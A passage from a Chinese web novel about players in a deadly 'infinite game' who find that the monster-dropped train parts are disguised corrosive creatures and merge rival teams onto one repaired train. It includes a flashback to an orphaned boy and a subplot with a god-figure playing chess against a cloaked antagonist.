他惊喜地问:“你确定这个零件是打怪掉落的?出率多少?” “确定!我们刚才杀了十多只怪物,掉了足足一袋子!爆率至少百分之九十!” 太好了! 队长大喜过望。 两列观光小火车都是破损状态,不能启动发车,难免会让人疑虑系统是不是故意制造这种困境,刺激两支队伍争夺零件,修复火车。 眼下打怪就能掉落零件,不就能避免引发这样的冲突吗? 队长急忙看向333号队伍。 对面似乎也发现了这件事,有个玩家正拿着零件向两名S级汇报。 只是队伍的气氛不是很热烈,看着冷漠了点。 他只得感慨,不愧是神级玩家带领的队伍,遇事也能气定神闲,波澜不惊。 直到又半个小时过去,系统提示响起。 【观光列车最迟晚上十点出发,已广播通知在外游荡的15名玩家,超时未能抵达火车站的玩家将被剔除参赛资格。】 也是这时,7721号队长突然,原本波澜不惊的333号队伍突然躁动起来,有好几个人按捺不住,跑到中年眼镜男的面前焦急争辩着什么。 紧接着金头发的S级也按捺不住了,唰一下站起身,气势汹汹,像是要去找人。 眼镜男连忙拦下他,脸上是如出一辙的忧虑沉重。 虽然没有爆发争执,但两股S级气息冲撞在一起的动静,还是叫人心惊胆战。 7721号队长惊心动魄地看着,后知后觉地想起一件事。 ——横看竖看只有两名S级,那个威胁等级高达五颗星的宴初一去哪儿了? 这一疑问在二十分钟后得到解答。 当十几道人影在道路尽头出现,大声呼喊同伴,惊扰到两个队伍时。 7721号队长猛然看见。 不管是看起来沉着的眼镜男,还是桀骜不驯的金发雇佣兵,亦或者他们身后的上百名玩家,全都唰一下站了起来,不复最开始的平静,激动地迎了上去! 第202章 观光小火车(2) …… “叮叮当,叮叮当,铃儿响叮当~” 悠扬欢快的音乐声传开,炙热橙红的炉火映在窗户玻璃上,衬得整间小店温暖又舒适,仿佛这冰冷的冬季都被染上几分热意。 小孩子穿着厚实的羽绒服,满是笑容的小脸蛋被空调暖气烘得红扑扑,对橱柜里琳琅满目的玩具挑花了眼。 桌子上有个超大的游乐场模型,是乐高系列拼装积木,通电后会散发绚烂多彩的灯光。 旋转木马悠悠地转,过山车呼啦一下从轨道飞过,看得小孩子双眼猛放光,兴奋地大声嚷嚷。 “妈妈!爸爸!我要它!” 夫妻俩看着标牌上的四位数价格一脸为难,耐不住孩子可怜巴巴地拽着他们撒娇。 店老板眼见有机会卖出镇店之宝,立马殷勤地迎上来,积极卖力地推销。 最后,夫妻俩还是咬咬牙付了款。 孩子瞬间高兴得一蹦三尺高,像压不住的小炮仗,本来还有点肉痛的夫妻俩立马开怀,抱起孩子揉搓脑袋,笑个不停。 呼—— 鼻息被冷空气冻成白雾,喷洒在橱窗的玻璃上,变成冰冷的白霜。 站在店外的小孩下意识伸出冻得通红的手掌,将那一层霜抹去,继续呆呆地朝里看。 他年纪不大,九岁左右,路过玩具店,一开始也被桌上精致有趣的游乐场模型吸引,结果看着看着,注意力就集中到了一家三口的身上去。 大人宠溺慈爱的表情,小孩幸福满足的笑容,在他们伸手接过游乐场积木的一瞬间,仿佛被定格成童话书里浓墨重彩的油彩画。 那么美好,又那么的不真实。 直叫扒着橱窗玻璃的小孩失了神。 “感谢您的惠顾!欢迎下次再来!” 一笔大单进账的店老板眉开眼笑地往回走,瞧见有小孩将脸贴在窗玻璃上,身上的衣服灰扑扑,破破烂烂,顿时拧紧眉头,不耐烦地呵斥:“谁家的小孩?去去去!到其他地方玩去,别打扰我们做生意!” 小孩被他的大嗓门吓得猛一哆嗦,反射性退开一步,想要道歉。 店老板看清他的脸,登时脸色大变,满是厌恶。 小孩立马回想起那些闹得沸沸扬扬的传言。 什么父母是因为他才会被害死的。 什么富人抓他们这批孩子养小鬼,虽然没成功,但他们的身上也沾染了浓厚的邪气死气,走得太近会带来不幸。 偏僻的地方总是容易滋生迷信。 几年前有些人打着破除封建迷信的旗号,收养他们这批幸存的孩子,被媒体竞相报道,载誉而归,赚得盆满钵满。 结果大善人的嘴脸还没装上几年,网上名人效力渐失,再也赚不到几个钱,就将他们丢到老房子里不管不顾,准备风头过了再送福利院,冬天连件暖和的衣服都穿不上。 小孩也曾为此痛苦过,特别是知道没有他的话,父母就不会被坏人盯上,一度想过跳河赎罪。 直到浑浑噩噩地在冰冷的流水中恍惚看见流泪的亲生父母,才猛然爆发出一股劲儿,挣扎地爬上了岸。 然后,此时此刻,小孩对上店老板嫌恶的眼睛。 他偏了偏脑袋,突然用手指拉下眼皮,极其嚣张地对老板吐舌头做了个鬼脸。 “略略略——!” 店老板一怔,勃然大怒,三两步追上去要给这小鬼好看。 “你这死孩子,站住别跑!” 却听身后有风声急速掠过,还有人群大声惊呼,随后传出一声惊天动地的巨响。 嘭! 一辆失控摩托车正撞上他刚才的位置,将塑料垃圾桶都撞烂了! 店老板震惊地看着从垃圾堆里跌跌撞撞爬出来的骑手,和散落满地的垃圾,双腿后知后觉地发软抖颤。 老天爷啊,这要是他被撞上,不得当场送医院?! 老板猝然意识到什么,瞪大眼扭头看向小孩。 小孩没比他好多少,被突如其来的阵仗吓得愣在当场。 但对上店老板骇然的表情,他懵逼呆滞之余,逐渐生出一股扭曲难言的快意。 ——哈!你们嫌弃我是鬼孩子,连碰我都嫌晦气,但我可是无意中救了你的命! 小孩在这一刻支棱起来,对店老板傲首挺胸地抬了抬下巴,像只斗胜的小公鸡。 这一脸邀功的样子,直看得店老板也惊疑不定,真以为是这孩子降下神通,救了他的命。 于是轻蔑的内心变得惴惴不安,乃至于惶恐,满脑子都是怎么还愿报答。 谁料店老板还没来得及开口,小孩便扭头跑走了。 不止在看轻自己的人面前长脸,更是释然,是放松。 小孩跑得那样雀跃,笑得那般开心,敞开步子,肆意奔跑,在遍布泥泞污水的街道如跳跃的林间精灵,冷风灌入领口袖口冻得身体哆嗦都没停下。 ——看吧,我能救命。 ——不是鬼孩子,不是鬼孩子,不是鬼孩子,欧耶! ——才不会带来灾难,是幸运星! 一直跑得上气不接下气,小孩才停下来。 他兴奋气喘抬起头,对上空荡荡的街道,咧开的嘴角倏然降了下去。 天气这么冷,谁都不愿意在外面闲逛,生意冷清,连路边的店铺也早早地关了门。 小孩终于想起来自己是饿得没法才出的门,攥着捡塑料瓶子卖掉的一块钱,去找卖馒头的店。 天色越来越暗,身体越来越冷,小孩捂着饥肠辘辘的肚子,站在廖无人烟的街道上,仿佛全世界只有他是一个人。 某一瞬间,看着头顶和远方蔓延开来的万家灯火,小孩突然走不动了,蹲下身蜷成一团,放声大哭,哭得肩膀直抽抽。 如果他出生即灾难,如果他一直都会是一个人,如果他什么用处都没有,被人一辈子嫌弃。 那他的存在到底有什么意义呢? 楼上忽然传来沧桑嘶哑的喊声:“底下的娃儿!娃儿!” 小孩没想到在叫自己,直到一个老人站在他面前,才抽抽鼻子,迷茫地抬起头。 泪水模糊视野,老人的容貌变得模糊不清。 她眼窝深陷的眼睛往下撇,显得有几分刻薄:“再过不久就到元旦了,别在人家店门口哭,不吉利。” 小孩像被戳中的刺猬,全身刺炸开,唰一下站起身,却见老人伸出枯瘦泛黄的手,将一个盛满东西的碗递到他的面前。 热气氤氲,往上蒸腾,寂冷的空气中满是饭菜香。 “把眼泪擦擦,没什么过不去的。饿坏了吧?吃吧……” …… “初一大佬醒了!” 濒死引起的神经疼痛尚未完全退散,宴初一的脑袋胀痛无比。 他揉捏眉头,借此清醒,被队友搀扶着坐起身,视线扫过周围,暂时没发现危险,开口的第一句话:“……在煮什么?” “大佬你闻到了?”队友说道,“火车站有灯光,但只刷新小怪,我们试着起灶烧火,煮了火锅!不过是粥底和清汤锅,怕味道太大引来麻烦。” “还有还有,这是专门为你熬的鸡汤,冷冻鸡肉喝着可能没那么鲜,等通关了大伙一块去下馆子!徐队长说了,到时候他做东,请我们吃主区的悦品香!” 不远处炊烟袅袅,大伙吃着饭,暖红的火光映照在说笑的脸上,热热闹闹。 布莱恩小队成员难得融入队伍,一手端碗,一手别扭地拿筷子,不太能理解中洲人在无限游戏里都必须要吃好喝好的执念。 一听到宴初一醒了,大家伙都顾不上嘴里还塞着菜,端着碗就跑了过来。 连7721号小队也发现动静,伸脖子好奇张望,想看看这位叫宴初一的玩家到底是个怎样了不得的人物。 “大佬感觉怎么样?还有没有不舒服的地方?” 宴初一从一张张关切的脸上扫过,说道:“还好,应该没什么大问题。” 面前就是篝火,干柴噼里啪啦,众人怕他夜里失温,还给他盖上了厚实的毯子,暖意沁入五脏六腑,感受不到一丁点降温的寒气。 宴初一看向手中的鸡汤,热意隔着瓷碗润透手指,他端起来喝上一口,浓郁醇厚的鲜香充斥味蕾。 他看向其中一个掩不住期待的玩家,点了点头肯定地夸赞道:“好喝。” “嘿。”那人嘚瑟起来,“这还用说,我可是A级厨艺!大佬你多喝点,这汤加了特级珍奇调味料,有属性加成。” 宴初一弯起眼眸,嗯了一声,一口接一口喝完鸡汤。 这一笑,又让不少玩家晃了眼。 喝完汤,底下还有整整半碗鸡肉,全是队友精挑细选给挑的嫩肉,他仔仔细细地吃了个干净。 因为力气还没有恢复过来,青年吃得很慢,但他的动作极其文雅,自带一分贵气,瞧着赏心悦目。 玩家们饭也不吃了,围在旁边看。 其实不止这碗鸡汤,宴初一醒来前,他们又投入了不少补血养气的道具。 不得不说,亲眼看着青年从死气沉沉到精神抖擞,惨白皮肤恢复红润气血,真的有种古怪的满足感。 莫名感受到了养成的乐趣。 等到宴初一吃饱喝足,徐队长也猫着腰来到他身边,对上青年狐疑的目光,轻咳道:“那什么,初一啊,有个问题不知道你方不方便回答?” 宴初一:“你问吧。” 徐队长目光炯炯:“你和谢叙白是什么关系?” 此话一出,在场玩家,包括各大直播间的观众,纷纷竖起了耳朵! 第203章 观光小火车(3) 宴初一面不改色。 当超度怨魂时碰见有人突然跳出来,他就知道大家肯定会有这一问。 精神力是灵魂意志的反馈,每个人的精神力都不一样,越到后期使用,差别就越明显。 他当时以为自己必死无疑,加上精疲力竭,必须全力以赴,顾不上掩饰,感知力强的玩家轻易就能发觉他的精神力与谢叙白系出同源。 问题在于怎么回答。 老实说,宴初一不喜欢欺骗,这世上很多误会隔阂往往都源于谎言。 但谢叙白和玩家交付真心的契机本就是一场欺骗。 玩家们以为他是神,实际上最开始他只是个普通人,现在也只是摸到成神的门槛。 这一百多名玩家,绝大多数都开了直播,他要面对的不止是他们,更是屏幕背后将近一亿五千万的观众。 宴初一仍需借助信仰成神,不能凭自己的意愿回答,稍微不注意,就会让谢叙白的形象幻灭,让之前的努力付诸东流。 看似漫长,实则表面只有两秒的沉默后,宴初一说道:“其实我是谢叙白。” 此话一出,在场绝大部分玩家如遭雷劈。 就像打游戏遇到队友开局装逼,于是欢声笑语敲出“得了这把寄了”的友好肯定。 结果打到一半发现队友不是装的是真牛逼,被人一路带上王者兴奋得直呼“大佬666”。精神也越来越放松,怀疑大佬沉默是天生腼腆不爱说话,嬉皮笑脸各种骚段子频出,企图将人逗笑建立深刻的革命友谊。 结果对方一开麦,等会儿什么声音这么熟悉? 我靠是班主任! ——说不上有多“喜”,但“惊”肯定不少。 徐队长的眼睛快速闪烁一下,布莱恩则一脸“???”的懵逼表情,下意识摸上颈部的项圈。 宴初一不动声色地将所有人的反应收纳眼底,方便日后暴露身份能做出合适的应对。 然后才大喘气般,平静地吐出后三个字:“……的眷属。” 还在震惊的众人:什么? 宴初一从容不迫地伸出手,手背显出金色光纹,纵横交织,眨眼间勾勒出一个从未见过的图案。 正中间的东西似圆似方,圆得像个球,方得像个房。外围是个半包围的人形弧线,极其珍惜地将其护在怀中。 从未见过的神祇徽记,静静散发着和谢叙白同源的精神力量,温和干净,仿佛能扫清人的疲惫。 宴初一吐出眷属两个字,明显让徐队长始料未及,让玩家们的心脏大起大落和过山车一样。 好险才缓过来,恢复和谐,又开始嘻嘻哈哈。 “卧槽!大佬你也是,一次性说完啊,吓我一跳!” “我还真以为你是谢叙白呢,怎么要签名都想好了。” 假的。 又不是真人追星。 金色精神力砸下来直接把A级诡异拍成泥,如果宴初一真是谢叙白,他们只会大跨步离祂三丈远,低声细语毕恭毕敬,大气都不敢出一下。 人和神不能说“非我族类”,只能说跨度太大再友好都不能正常面对。 徐队长是真遗憾,巅峰一直想近距离接触谢叙白,商议怎么破局。 不过他也算接受良好,瞄着面色自若的青年,手背浮现类似的五爪金龙徽记:“介意吗?” 宴初一的徽记,其实是根据徐队长和布莱恩的眷属徽记,依样画葫芦得来的。 巅峰的情况特殊一点,徐队长没有契约神祇,五爪金龙施加的是群体庇护。 宴初一不知道徐队长要做什么,除了宴朔他没和其他神祇接触过,但传过来的情绪很友好,不像在追着他验证身份。 想到之前布莱恩重伤请求入队时,似乎也和徐队长做出过同一动作,现在拒绝倒显得可疑。 宴初一镇定点头,飞快安排其他棋子做好掩护圆谎的准备。 两枚徽记尚未靠近,就能感受到似有若无的波动,直至相距三寸间隔,像是激起某种化学反应,半空中陡然撞出一股强烈的震荡波! 那威势压迫感十足,虽没有攻击意图却不容冒犯,周围的玩家下意识心生敬畏,连连后退,中间只留下宴初一和徐队长两人。 再然后众人听到一声高昂的龙吟,又恍惚看见一抹雄姿腾云驾雾。 驼头,鹿角,蛇项,鹰爪,虎掌……龙瞳有神,凛冽鎏金,穿梭天地所向披靡,巍峨龙躯似山岳起伏,浩大雄壮,震彻人心。 宴初一能明显感觉到神龙的幻影投下视线,静静地看向他,威严眼神瞬间温和,甚至带着几分慈祥,神力流动似飓风从他的头顶拂过。 这一震撼影像,只在一瞬间浮现脑海。 而后寒夜恢复冷寂,木柴燃烧传出噼啪声响,周围静得出奇。 却让众人久久没能回神,心潮澎湃。 直播间炸裂。 “刚才那是什么?是龙吗?是真的龙?” “不会错,那就是五爪金龙,跟神话传说里的一模一样!!” “之前一直渴望游戏出神话副本,能一窥仙神英姿,结果真出来后都是些什么鬼玩意!不是邪祟假借神佛名义搞出来的暗黑鬼故事,就是虚虚假假的野史吊人胃口,不见半点真迹,没想到今天能如愿以偿!” 中洲观众痛心疾首! “巅峰这群人也太好命……不对,他们太会藏了吧?!” “我现在加入巅峰还来得及吗,天啊太激动了!家人们是真龙啊!” “还用你说,要是早先让我们看到他们的契约神祇是五爪金龙,中洲区几千万人肯定二话不说加入组织听候调遣!嘴是真严啊!” 殊不知徐队长心里也在翻江倒海,瞪着宴初一瞳孔骤放,嘴皮子都哆嗦起来。 徐队长找布莱恩出示神祇徽记,只为判断两家神祇有无仇怨。 不然合作的时候两股力量相斥,还没解决掉敌人,他们先受影响打起来了,那是真要命。 找宴初一则不同了。 古早典籍没翻到有关“谢叙白”的典故,仔细追溯,也只找到一则“佛子亵渎神佛取金济世”的传闻。 并且当时毁誉参半,被氏族寺庙抨击大不敬,连立像表彰都草草了之,只有被救的百姓私下烧香告慰,再无更多记录。 巅峰判断,谢叙白更像是应劫而生的新生神明,不超过一百岁,和故事里动辄以千岁万岁记载的神仙比起来,甚至可以称得上年幼。 雷神那是外洲神,走个过场确定没仇就行。 但对抱有善心的自家神明,亲疏远近,总想多维护一些,帮衬一些。 所以徐队长引动神龙徽记,相当于兴高采烈地报喜,也是在请示自家神祇: 老祖宗,我们家终于出新神啦!您快看看,给赐个福升个位什么的啊! 现在神祇竞争多激烈,又有外敌不怀好意虎视眈眈,别叫祂中途夭折咯! 哪知道会这样翻天阵仗! 直播间观众都在吵巅峰隐藏得好,可他们怎会知道系统早有设限。 以至于三千神佛被迫沉寂,传奇英雄踪影尽消,文明壮阔璀璨却无以大展身手。 不然副本诡怪何惧?外神又何惧?! 即使是当初人们千辛万苦与之结契的寥寥数神,也无法轻易现身。 徐队长尚且记得当初会长请示金龙给他们赐福,都只能听到一声似有若无的龙吟,真龙显形那是想都别想。 现在又是个什么情况? 是老祖宗见后继有神太高兴,还是谢叙白其实是某个了不得的神佛化身,老伙计相见格外开心? 徐队长盯着宴初一,惊疑不定,好半天才找回自己的声音:“……初一?你现在是什么感觉?” 宴初一回神,顿了顿说道:“我身上多了一层S级护体屏障,没有不舒服的感觉。” 徐队长:“只是这样?” 青年点头。 “和我们当初一样。”徐队长相当费解,“但是不应该啊!” 这么大的动静,不说赐下神力提高属性,至少也该多套几层屏障吧? 难道真的是老祖宗太高兴,表现得稍微激动了一点? “对我来说很有用了,谢谢。”宴初一装作没看见徐队长的困惑,转移话题问,“现在是什么情况?” 青年表面不动声色,实则内心何止一个震惊可言。 额外的赐福当然有,不止有,还远远超出了他的预料。 被粉碎的身体得到彻底修复,断开的经脉恢复如初。 金龙神力从分魂直达本体,精神力在瞬息的淬炼中骤然提升,幅度非常夸张,等同于从46%窜到57%,成神进度直接过半! 宴初一这一世自带无数次循环晋级的加成,可他勤奋苦练,费劲周章,也只达到46%。 但金龙这一下,直接给他拔升了11%!怎能叫宴初一不惊异。 这是随手一帮吗? 不,宴初一能感受得到,这是金龙在系统限制下竭尽所能为他做到的全部。 对方认识他,信任他,愿意为他做到这种地步,而他也对金龙有种莫名熟悉的亲切感。 魂体对神力淬炼的适应力更是堪称绝佳,不会超出承受范围引起精神崩溃,不需要半点磨合,不需要长时间闭关慢慢消化,转瞬即成。 宴初一有种说不出的感觉……仿佛很早以前,他就承受过很多次这样的祝福。 他心有疑虑,习惯于滴水不漏,听完大家七嘴八舌的说明,大概清楚了现在是什么状况。 火车站的位置这么醒目,却连个精英怪都没有,杀小怪就能高爆率掉落修复用的关键零件,还给他们超长的休息时间。 不是宴初一恶意揣测系统和斗篷人,是这里面明摆着有问题。 “有现成的零件吗?给我看一下。” 队友拿来零件,提前洗干净了。 从怪物肚子里掉落时上面全是黏液,有股挥之不去的腥臭味,那可是他们之后要坐的观光火车,不洗一洗总觉得埋汰。 宴初一接到手里。 零件各有不同,电动机、散热器、减重装置、制动杠杆……连车钩缓冲器都有。小到巴掌大,大到有一扇门那么高,在灯光下反射出金属的银白色光泽,触感冰凉。 作为观光火车而言,甚至比一些老式火车的组装部件还要精细。 徐队长说道:“我们也怀疑系统设坑,所以只修复了后面的一节车厢,暂时没出现什么问题。” 巅峰是军队出身,对这些机器载具比较了解,他说:“我们对这些零部件和引擎发动机进行了鉴定,发现有很多加固强化用的部件。” “或许火车行进过程中会出现更强大的诡怪,需要我们不断升级火车进行对抗。” 如果后续会出现强力怪物,那爆率高就不奇怪了。 毕竟大多数掉落的都是普通零件,偶尔才能得到一件加强零件。 就像SSS级卡池塞上一堆没用的R级卡一样,看着爆率贼高,次次不落空,其实全是来污染卡池的。 为了观察情况,他们的剩余时间很紧凑,火车前面都没修复。 车厢无所谓,大不了飘在半空拿根绳子放风筝一样拴着,但动力系统必须要修,不然都发不了车。 要是宴初一再晚十几分钟醒来,他们估计都已经修好车,开始琢磨怎么组装升级了。 这种骑虎难下的情况,哪怕知道可能有陷阱,也不敢一直拖着。 玩家们整齐划一等待宴初一的指示,直觉他们看不出来的问题,大佬没准会有发现。 果不其然。 青年不过将零件拿在手里,翻看两下,眉头就紧紧地拧成一团。 但情况似乎比他们想象中还要严峻。 宴初一站起身来,声音沉冷:“这些零件不能用,必须把装上的部分全拆了!” 第204章 观光小火车(4) 7721号队长觉得自己平生最大的优点就是知道跟着强者的脚步走,绝不固执己见。 所以当徐队长等人以防有坑,只修复最后一节车厢观察情况的时候,7721号队长果断依样画葫芦,将火车中间那几节被挤压变形的车厢拆出来单独修复。 听到宴初一厉声直言这些零件不能用时,7721号队长激动握拳。 很好,稳了! 只是没想到333号副本的玩家对宴初一这么信任,原本他竖起耳朵还想听人具体解释有什么问题,谁知道那些玩家半句质疑都没有,风风火火地跑去拆零件了。 队员在旁边低声说:“队长,我们也赶快回去把零件拆了吧?” 却没想到别人一百多号人的队伍能做到意见一致,令行禁止。他们回去把事情一说,却遭到了强烈反对。 一名队员几乎是怒斥:“什么都照着别人做,你们也不看看我们之间的差距。他们的队伍里有高级机械修理师,我们没有啊!他们能拖时间赶在最后把火车修复好,我们行吗?” “这两节破烂疙瘩,我都不知道有什么修复的必要!” 队员一脚猛踹过去,铁皮车厢哐啷晃动,直接内凹下去一大块:“我们只有三十个人,直接丢了这两节车厢不行吗?” “浪费这些时间也就算了,你居然还想把零件拆下来!现在只剩1小时半,轴对一点没修,万一时间不够怎么办,等着被淘汰?” 虽然没有直截了当地挑明,但几名队员皱眉看过来的眼神,仿佛明晃晃地写着不满。 ——你这个队长到底是怎么当的? 对啊……他们队伍的情况和那边不一样啊! 7721号队长的满腹得意瞬间惊散。 那名质疑他的队员继续在私密频道敲下致命一问: 你有没有想过,如果零件真的有问题,他们的火车受损程度那么严重,零件又不能用,到时候会怎么做? 盯着这句意味深长的反问,7721号队长的心跳仿佛空了半拍,后知后觉地激出一背冷汗。 也是这个时候,宴初一那边发现零件拆不下来,仿佛焊死在了铁皮上,几个人一起用力到脸颊涨红,双手发抖,都不能撼动分毫。 “我来试试。” 布莱恩上前,扒住零件边缘。 随着健硕丰满的肌肉鼓起青筋,连接零件的车厢铁皮一阵吱嘎作响,终于在巨大的拉力下,逐渐变形拉长,拉出一条清晰可见的缝隙。 众人登时哗然! 只因缝隙间全是青紫血管般的细长触须,扯断后滴落黏液,还会抽搐。 难怪他们拆不下来,这些零件竟然是伪装的怪物,跟种下去的土豆似的,还会在铁皮壳子里生根! 布莱恩继续用力,零件逐步和车厢分开。 那青紫色的根系也不死心地勾着铁皮,越拉越长,大概比划一下,起码有半米。 也就是说,以零件为圆心,半径为半米的圆形区域都已经被腐蚀了! 这还不是最恐怖的。 在大半触须被扯断时,零件似乎意识到负隅顽抗没有用,突然不装了,疯狂蠕动。 坚硬平整的金属表面荡起肉瘤般的恶心褶皱,颜色从银白到刺眼的烫红,像烧红的烙铁般迅速升温,呼吸间高达上百度! 宴初一抢先一步震喝提醒道:“快松手!” 布莱恩闻声果断放手,同时徐队长箭步上前,拉开周围的玩家并支起屏障。 嘭一声巨响,零件爆炸了! 青紫色的黏液呈放射状炸开,溅到草坪上滋啦冒出一阵青烟,瞬间被腐蚀出一块焦黑的坑洞! “可能有毒,大家退后!” 看见青烟,后勤队员飞快戴上防毒面罩跑上去鉴定,半晌凝重地说道:“毒性C级,但腐蚀性高达A级!B级以下玩家被大范围溅射,绝大概率会当场丧命,就是A级也扛不住两下。” “这些零件不能用。”他们再一次肯定宴初一的判断。 众人胆寒。 先前用火烧、冰冻、雷击,甚至利器劈砍,都没让这些零件显出狰狞原形,谁知道要装上火车后才会暴露端倪,这也太阴了! 可是接下来怎么办? 零件不能用,他们又不能凭空变出一个完好无损的发动机。 现实会是死局,但强调公平合理的游戏一定存在解法。 宴初一若有所思地看向7721号队伍旁边的火车,问其他人:“系统有没有明确用规则强调,我们必须乘坐哪一列火车?” “没有。” 布莱恩自以为明白了青年的言外之意:“懂了,我去和他们交涉,胜利的队伍选择坐哪列火车。” 瞧雇佣兵那摩拳擦掌气势汹汹的模样,宴初一的眉头微微一跳,连忙拽住这只雄性斗鸡。 “他们那边的火车一样存在问题,车厢中部挤压内陷,整体倾斜,底下轴承或有破损,开不了多远就会磨损导致轮对变形,被迫停车。 宴初一说:“有趣的是,他们的车头完整地保留了下来,而我们的车头支零破碎,发动机零件损坏缺失,车厢和轮对(轮胎)完好,刚好能够互补。” 布莱恩了然:“所以要直接把那列火车抢过来?” “……”宴初一猛然发现这大块头对他们真算客气了。 “或许不用。”他说,“观光火车的规模堪比正常火车,没有受损的车厢累加起来,足够容纳两百多人。” 虽然有“不进前三就会被淘汰”的大前提,却没说不能让所有人合并为一个队伍。 但系统不会提醒玩家,它巴心不得玩家内讧,自相残杀,提示面板中屡次提及“敌方队伍”“对手”,甚至直说可以采用非常手段,就是在潜移默化地暗示引导。 如果他们真的顺着系统的意,将别的队伍当成比副本更需要优先解决的假想敌,日后遇到其他队伍,难免不会形成习惯性思维。 ——ta可能对我有威胁,不管了,先下手为强,我要先弄死ta! 以至于忘记了,这是一场需要全人类合作共赢的无限游戏。 一旦后面遇到多人合作类型的关卡,结果可想而知。 徐队长果断说:“时间快不够了,先去协商吧。” 如果另一个队伍不同意,那就手下见真章。 打晕后直接带走,也算仁至义尽。 刚一走过去,就看见7721号队长拽着某个队员,几乎崩溃地咆哮:“你们是煞笔吗!啊?现在怎么办,全玩完了!” 本来7721号队长听到队员有理有据的驳斥,还很羞愧,觉得自己在盲目附庸强者。 然后他丫的扭头一看,这群煞笔觉得他纯粹浪费时间,居然趁他打听消息的间隙,偷偷替换了轮对和轴承! 见他发火,更是嗤之以鼻,坚持他们没得选,必须这么做才能保命。 现在好了吧?好了吧?! 看到333号队伍那边的零件炸了没?不止炸了还丫的有毒!A级腐蚀!A级! 出力不行,惹是生非第一名!他就半个小时没看住,他们就把所有轮对都换了,相当于车厢底下埋了整整一排的不定时炸弹,那是无路可退!! 难怪一开始不吭声,等他回来才突然先声夺人怒斥喝问,感情是在暗搓搓地造反! 7721号队长这叫一个恨啊! 本来他们的制动装置没出问题,还能弃车保帅快点溜走,少几个轮对也不是不能开。 现在…… 听到身后传来的脚步声,7721号队长僵硬扭头,对上一脸意外的宴初一等人,挤出个尴尬讨好的笑脸。 “啊哈哈哈……那什么,各位高手,现在还接受招安吗?” 十秒不到,剑拔弩张的双方队伍达成了友好的战略联盟。 剩下近一个小时的期限,双方懂机器载具的后勤齐齐出动,用最快的速度将两列火车可用的原部件拆下来,组装成一列崭新的观光火车。 几名自作主张的7721号队员也不敢吭声了,但还有点不服气,在心里偷偷犯嘀咕。 突然听到那个叫宴初一的青年对徐队长说:“打怪掉落的零件先别扔,挑选巴掌大小的,方便拿取,每个人都装一些到空间袋里。它们只和金属密切贴近时有反应,不碰到火车就没事。” 宴初一:“我们接下来还会遇到别的队伍和火车,如果他们主动发起攻击,就把这些零件丢过去。” 说着,青年让其他人退到安全距离,示范性地拿起一个零件,丢向报废车厢的外车壁。 不是严丝合缝地安装固定,也没有人力扶住零件,零件难免从光滑的铁皮上打滑。 就在它要从车厢上掉落的瞬间,无数条青紫色的触须骤然从零件表面冒了出来,死死地扒住车皮,就像寄生物不肯放弃近在咫尺的宿主,直接撕破伪装。 宴初一等的就是它暴露触须的一瞬间。 抬手一挥,金光若雷霆疾驰,将触须尽数斩断! 他仔细观察过,触须就是零件生物的弱点。 此时断开大部分,立马自杀式自爆! 嘭一声,腐蚀性液体溅开,将火车壁灼烧出大片的坑洞。 “就是这样。”宴初一回头淡然地指点道,“只要合理利用,威力堪比A级攻击道具,可以用来防身。” “哇!”队友们双眼放光,卖力鼓掌。 对没机会拿到高级道具的低级玩家而言,这东西真能救命! 7721号的队员目瞪口呆,只觉得其貌不扬的青年狠得可怕。 正常人谁敢随身背着一堆活生生的怪物?又有谁会面不改色地把它们当成备用武器? 队长在旁边冷笑:“知道你们想当家做主,去吧,和人较量一下,你们必定能成为下一个老大。” 几名队员:“……” 不敢说话,彻底服气。 不多时,火车赶在十点整准时发动,载着一车玩家缓缓驶入游乐场。 就像障眼迷雾被无形的大手拨开,原本只有一截铁轨的道路,在火车发动的瞬间,忽然往前延伸成一条完整的铁路。 苍茫月色映衬下,反射出银白的金属亮光。 玩家们忽然瞳孔骤缩。 周围的景象变了。 余光两侧的灰色碎石路面飞速倒退,野草灌木逐渐茂盛,正前方高大树影起伏跌宕,如巨人屹立。 游乐场消失不见,取而代之的是一个巍峨壮阔的原始森林山脉。 白雾在密林中悄然汇聚,带走空气中为数不多的热意。气温骤降十多度,丝丝缕缕的凉气侵入皮肉,激起一层鸡皮疙瘩。 唰—— 他们顺着笔直的铁路,冲入幽暗到伸手不见五指的森林,宛若冲进怪物的血盆大口。 第205章 观光小火车(5) 【叮!7721号队伍已并入333号队伍,两队成员可共享火车赛名次!】 【当前队伍总人数:151】 【注意,只有当超过一半的现存队伍人数进入黑塔后,才能记入成绩。 例如70人的队伍,必须有35及以上队员跨过终点线,以此类推。】 合并队伍居然真的可行! 众人惊讶之余,再度体会到系统的浓浓恶意,为自己下意识想要解决掉其他队伍而感到一阵恶寒。 其实最开始宴初一提出这个方法的时候,两队玩家都以为系统不可能允许。 之前也不是没想过投机取巧抓字眼,但都被规则给狠狠警告了。 久而久之大家都只愿顺着规则,不肯再冒险。 有人顿悟:“懂了,下次系统不让做什么就一定去做什么!这样就可以——” “就可以提前去世了。”一名A级玩家没好气地反驳道,“S级及以上的玩家能大概分辨规则生效的界限,安全地规避风险,你以为谁来都行吗?” 规则让玩家把杯子装满,玩家反手把杯子砸了,那肯定死得不能再死。 善于找bug的玩家会注意到“装满”后面没有名词,从而脑洞大开。 但要是冒冒失失装一杯土过去交差,大概率会被规则认定为敷衍了事,一巴掌糊墙上,撕都撕不下来。 而能感知规则的玩家,则会明确清楚这个杯子里不能装水,应该放血,或是BOSS喜欢的苹果汁。 所以重点不在取巧,而在于取巧的人? 宴初一仍旧聚精会神地盯着提示面板,呢喃自语:“现存队伍人数,也就是尸体不行,必须是活人?” 众人看向兀自沉吟的青年,逐渐对这个说法深信不疑。 * 水墨空间的谢叙白忽然抬头,若有所思地看向斗篷人。 自从分魂“宴初一”在玩家、魂灵和其他分魂的努力下被抢救回来后,喜欢刺激他的斗篷人就陷入了沉默。 像是受到严重打击,捏着黑棋的指尖因用力而苍白,气势愈发沉郁,一个劲儿地盯着棋盘。 良久,斗篷人突然松手,欲要落在棋盘上的黑子掉回虚空。ta撩开眼帘,静静地注视着谢叙白,忽然后靠抵住椅背。 “累了,休息一会儿。”ta说。 这是暂时不准备出手了。 谢叙白时刻注意ta的动向,不觉得斗篷人会善罢甘休。也不觉得被吃一子的打击,会让阴险狠毒的恶人一蹶不振。 不然人类历来每一场扫黑除恶的战斗都会是个美好的童话故事,而非充满血和泪。 同时,不知道为什么,曾经在斗篷人身上感受到的割裂感,再次浮上谢叙白的心头。 * 进密林后,雾气越来越浓,鼻尖仿佛萦绕着一股腐坏的湿气,能见度不超过五米。 往上则是灰暗阴沉的天空,重重树影如同缄默的巨人俯视而下,沉重又压抑。 